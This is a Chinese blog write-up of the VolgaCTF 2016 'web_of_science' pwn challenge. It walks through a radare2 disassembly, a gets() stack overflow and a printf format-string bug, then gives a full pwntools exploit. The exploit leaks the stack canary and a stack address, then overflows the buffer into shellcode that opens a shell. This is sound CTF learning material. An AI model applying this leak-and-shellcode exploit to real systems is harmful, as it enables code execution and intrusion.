volga-ctf-quals-2016 pwn web_of_scicen_250 writeup

原创

Anciety 于 2016-11-30 00:17:48 发布 680 收藏

分类专栏： pwn ctf

本文链接：https://blog.csdn.net/qq_29343201/article/details/53402636

pwn 同时被 2 个专栏收录

37 篇文章 2 订阅

订阅专栏

ctf

50 篇文章 2 订阅

订阅专栏

基本情况

我并没有参加这个比赛,只是作为练习用,所以无法模拟远程,只能本地调试

文件是64位的,运行之后先输入名字,然后每次都会输出这个名字,然后问你10道数学题,后面怎样的其实对这个版本的利用来说不是很重要

漏洞情况

整个函数比较长,不过我还是复制下来方便解释(来源于radare2, 如果不依赖ida的F5, radare2一些时候比ida还好用,特别是在pwn当中):

```
/ (fcn) sub.puts_7cd 478
|   sub.puts_7cd ();
|           ; var int local_13ch @ rbp-0x13c
|           ; var int local_138h @ rbp-0x138
|           ; var int local_134h @ rbp-0x134
|           ; var int local_130h @ rbp-0x130
|           ; var int local_12ch @ rbp-0x12c
|           ; var int local_128h @ rbp-0x128
|           ; var int local_124h @ rbp-0x124
|           ; var int local_120h @ rbp-0x120
|           ; var int local_a0h @ rbp-0xa0
|           ; var int local_18h @ rbp-0x18
|           ; CALL XREF from 0x00401010 (main)
|           0x004007cd      55              push rbp
|           0x004007ce      4889e5          mov rbp, rsp
|           0x004007d1      53              push rbx
|           0x004007d2      4881ec380100.   sub rsp, 0x138
|           0x004007d9      64488b042528.   mov rax, qword fs:[0x28]    ; [0x28:8]=0x21c8 ; '('
|           0x004007e2      488945e8        mov qword [rbp - local_18h], rax
|           0x004007e6      31c0            xor eax, eax
|           0x004007e8      c785ccfeffff.   mov dword [rbp - local_134h], 0xa
|           0x004007f2      c785c4feffff.   mov dword [rbp - local_13ch], 0
```

```
|           0x004007fc      c785d0feffff.  mov dword [rbp - local_130h], 0
|           0x00400806      c785d4feffff.  mov dword [rbp - local_12ch], 0
|           0x00400810      c785d8feffff.  mov dword [rbp - local_128h], 0
|           0x0040081a      c785dcfeffff.  mov dword [rbp - local_124h], 0
|           0x00400824      c785c8feffff.  mov dword [rbp - local_138h], 0
|           0x0040082e      bfc8104000     mov edi, str.Tell_me_your_name_first ; "Tell me your name fi
|           0x00400833      e8f8fdffff     call sym.imp.puts          ; int puts(const char *s);
|           0x00400838      488d85e0feff.  lea rax, [rbp - local_120h]
|           0x0040083f      4889c7         mov rdi, rax                ; char *s
|           0x00400842      e859feffff     call sym.imp.gets          ; char*gets(char *s);
|           0x00400847      488d85e0feff.  lea rax, [rbp - local_120h]
|           0x0040084e      48c7c1ffffff.  mov rcx, -1
|           0x00400855      4889c2         mov rdx, rax
|           0x00400858      b800000000     mov eax, 0
|           0x0040085d      4889d7         mov rdi, rdx
|           0x00400860      f2ae           repne scasb al, byte [rdi]
|           0x00400862      4889c8         mov rax, rcx
|           0x00400865      48f7d0         not rax
|           0x00400868      488d50ff       lea rdx, [rax - 1]
|           0x0040086c      488d85e0feff.  lea rax, [rbp - local_120h]
|           0x00400873      4801d0         add rax, rdx                ; '('
|           0x00400876      48bb2c20796f.  movabs rbx, 0x722072756f79202c
|           0x00400880      488918         mov qword [rax], rbx
|           0x00400883      48be6573706f.  movabs rsi, 0x3a65736e6f707365 ; rsi
|           0x0040088d      48897008       mov qword [rax + 8], rsi
|           0x00400891      66c740102000   mov word [rax + 0x10], 0x20 ; [0x20:2]=64 ; "@" 0x00000020
|           0x00400897      bfe0104000     mov edi, str.Alright__pass_a_little_test_first__would_you. ;
|           0x0040089c      e88ffdffff     call sym.imp.puts          ; int puts(const char *s);
|           0x004008a1      c785c4feffff.  mov dword [rbp - local_13ch], 0
|        ,=< 0x004008ab      e9b1000000     jmp 0x400961
|       .--> 0x004008b0      e81bfeffff     call sym.imp.rand          ; int rand(void);
|       ||   0x004008b5      99             cdq
|       ||   0x004008b6      c1ea10         shr edx, 0x10
|       ||   0x004008b9      01d0           add eax, edx
|       ||   0x004008bb      0fb7c0         movzx eax, ax
|       ||   0x004008be      29d0           sub eax, edx
|       ||   0x004008c0      8985d0feffff   mov dword [rbp - local_130h], eax
|       ||   0x004008c6      e805feffff     call sym.imp.rand          ; int rand(void);
|       ||   0x004008cb      99             cdq
|       ||   0x004008cc      c1ea10         shr edx, 0x10
|       ||   0x004008cf      01d0           add eax, edx
|       ||   0x004008d1      0fb7c0         movzx eax, ax
|       ||   0x004008d4      29d0           sub eax, edx
|       ||   0x004008d6      8985d4feffff   mov dword [rbp - local_12ch], eax
|       ||   0x004008dc      8b85d4feffff   mov eax, dword [rbp - local_12ch]
|       ||   0x004008e2      8b95d0feffff   mov edx, dword [rbp - local_130h]
|       ||   0x004008e8      01d0           add eax, edx
|       ||   0x004008ea      8985d8feffff   mov dword [rbp - local_128h], eax
|       ||   0x004008f0      8b95d4feffff   mov edx, dword [rbp - local_12ch]
|       ||   0x004008f6      8b85d0feffff   mov eax, dword [rbp - local_130h]
|       ||   0x004008fc      89c6           mov esi, eax
|       ||   0x004008fe      bf0e114000     mov edi, str._d____d_____n  ; "%d + %d = ?." @ 0x40110e
|       ||   0x00400903      b800000000     mov eax, 0
|       ||   0x00400908      e843fdffff     call sym.imp.printf        ; int printf(const char *format);
|       ||   0x0040090d      488d85e0feff.  lea rax, [rbp - local_120h]
|       ||   0x00400914      4889c7         mov rdi, rax
|       ||   0x00400917      b800000000     mov eax, 0
|       ||   0x0040091c      e82ffdffff     call sym.imp.printf        ; int printf(const char *format);
|       ||   0x00400921      488d8560ffff.  lea rax, [rbp - local_a0h]
|       ||   0x00400928      4889c7         mov rdi, rax
```

```
|      ||   0x0040092b      e870fdffff     call sym.imp.gets          ; char*gets(char *s);
|      ||   0x00400930      488d8560ffff.  lea rax, [rbp - local_a0h]
|      ||   0x00400937      4889c7         mov rdi, rax
|      ||   0x0040093a      e881fdffff     call sym.imp.atoi          ; int atoi(const char *str);
|      ||   0x0040093f      8985dcfeffff   mov dword [rbp - local_124h], eax
|      ||   0x00400945      8b85d8feffff   mov eax, dword [rbp - local_128h]
|      ||   0x0040094b      3b85dcfeffff   cmp eax, dword [rbp - local_124h]
|     ,===< 0x00400951      7507           jne 0x40095a
|     |||   0x00400953      8385c8feffff.  add dword [rbp - local_138h], 1
|     `---> 0x0040095a      8385c4feffff.  add dword [rbp - local_13ch], 1
|      ||   ; JMP XREF from 0x004008ab (sub.puts_7cd)
|      |`-> 0x00400961      8b85c4feffff   mov eax, dword [rbp - local_13ch]
|      |    0x00400967      3b85ccfeffff   cmp eax, dword [rbp - local_134h]
|      `==< 0x0040096d      0f8c3dffffff   jl 0x4008b0
|           0x00400973      8b85c8feffff   mov eax, dword [rbp - local_138h]
|           0x00400979      3b85ccfeffff   cmp eax, dword [rbp - local_134h]
|       ,=< 0x0040097f      7507           jne 0x400988
|       |   0x00400981      b800000000     mov eax, 0
|      ,==< 0x00400986      eb05           jmp 0x40098d
|      |`-> 0x00400988      b801000000     mov eax, 1
|      |    ; JMP XREF from 0x00400986 (sub.puts_7cd)
|      `--> 0x0040098d      488b5de8       mov rbx, qword [rbp - local_18h]
|           0x00400991      6448331c2528.  xor rbx, qword fs:[0x28]
|       ,=< 0x0040099a      7405           je 0x4009a1
|       |   0x0040099c      e89ffcffff     call sym.imp.__stack_chk_fail
|       `-> 0x004009a1      4881c4380100.  add rsp, 0x138
|           0x004009a8      5b             pop rbx
|           0x004009a9      5d             pop rbp
\           0x004009aa      c3             ret
```

基本上可以看出,漏洞一个是对gets的调用造成栈溢出,另外一个是0x40091c处的printf导致了格式化字符串漏洞,也就是输入名字的时候

关于保护,通过radare2的il命令:

```
[0x004007cd]> iI
havecode true
pic      false
canary   true
nx       false
crypto   false
va       true
intrp    /lib64/ld-linux-x86-64.so.2
bintype  elf
class    ELF64
lang     c
arch     x86
bits     64
machine  AMD x86-64 architecture
os       linux
minopsz  1
maxopsz  16
pcalign  0
subsys   linux
endian   little
stripped true
static   false
linenum  false
lsyms    false
relocs   false
rpath    NONE
binsz    8647
```

主要是开启了canary, aslr我不知道当时的情况是否开启了,不过其实不是很影响.

利用思路

两个漏洞,一个格式化字符串一个栈溢出,没有开启nx,栈溢出会很方便,但是由于canary的存在,栈溢出不能直接覆盖返回地址执行栈上代码,所以需要想办法,这里格式化字符串漏洞就起作用了,主要用来泄漏内存信息,通过获取canary的信息,将canary原样放好即可执行shellcode,栈地址也是同样的道理,去leak掉saved rbp的位置的信息即可计算相对位置得到输入的shellcode的地址.

通过gdb进行调试,由于栈上相对位置不变,所以很容易获取地址之间的关系,(是的我就是懒得去算了)

exploit

```
from pwn import *
context(arch='amd64', os='linux')


def answer(p):
    p.sendline('1')
    p.recv()


def main():
    p = process("./web_of_science")

    """
    | **all local**
    sum: 192 bytes
    | shellcode  @ 0x7fffffffe1b0
    | ..
    | ..
```

```
        | ..
    136 | padding(whatever)
        | ..
    =   | ..
        |############|
    8   | canary     @ 0x7fffffffe238
        | ..
        | ..
    (24)| padding(whatever)
        | ..
        | ..
        |############|
        | return address(leaked - 192)
        """

        leaking_format = "%p." * 46
        p.sendline(leaking_format)
        p.recvuntil('?')
        leak = p.recvuntil(',')
        leak = map(lambda x: int(x, 16) if x != '(nil)' else 0,
                   leak.split('.')[:-1])

        canary = leak[42]
        stack_address = leak[45]

        log.info("canary is " + hex(canary) + " stack at " + hex(stack_address))
        log.info("return address: " + hex(stack_address - 192))

        nop = asm(shellcraft.nop())
        shellcode = asm(shellcraft.sh())

        payload = shellcode + nop * (136 - len(shellcode)) + p64(canary) + \
            nop * 24 + p64(stack_address - 192)

        for i in xrange(9):
            answer(p)

        p.sendline(payload)
        p.interactive()

    if __name__ == "__main__":
        main()
```

坑

不要理会recvuntil,在这卡着老不动,直接sendline就可以了..还有send不要乱用…没回车似乎不会进行接下来的工作,也会卡住没反映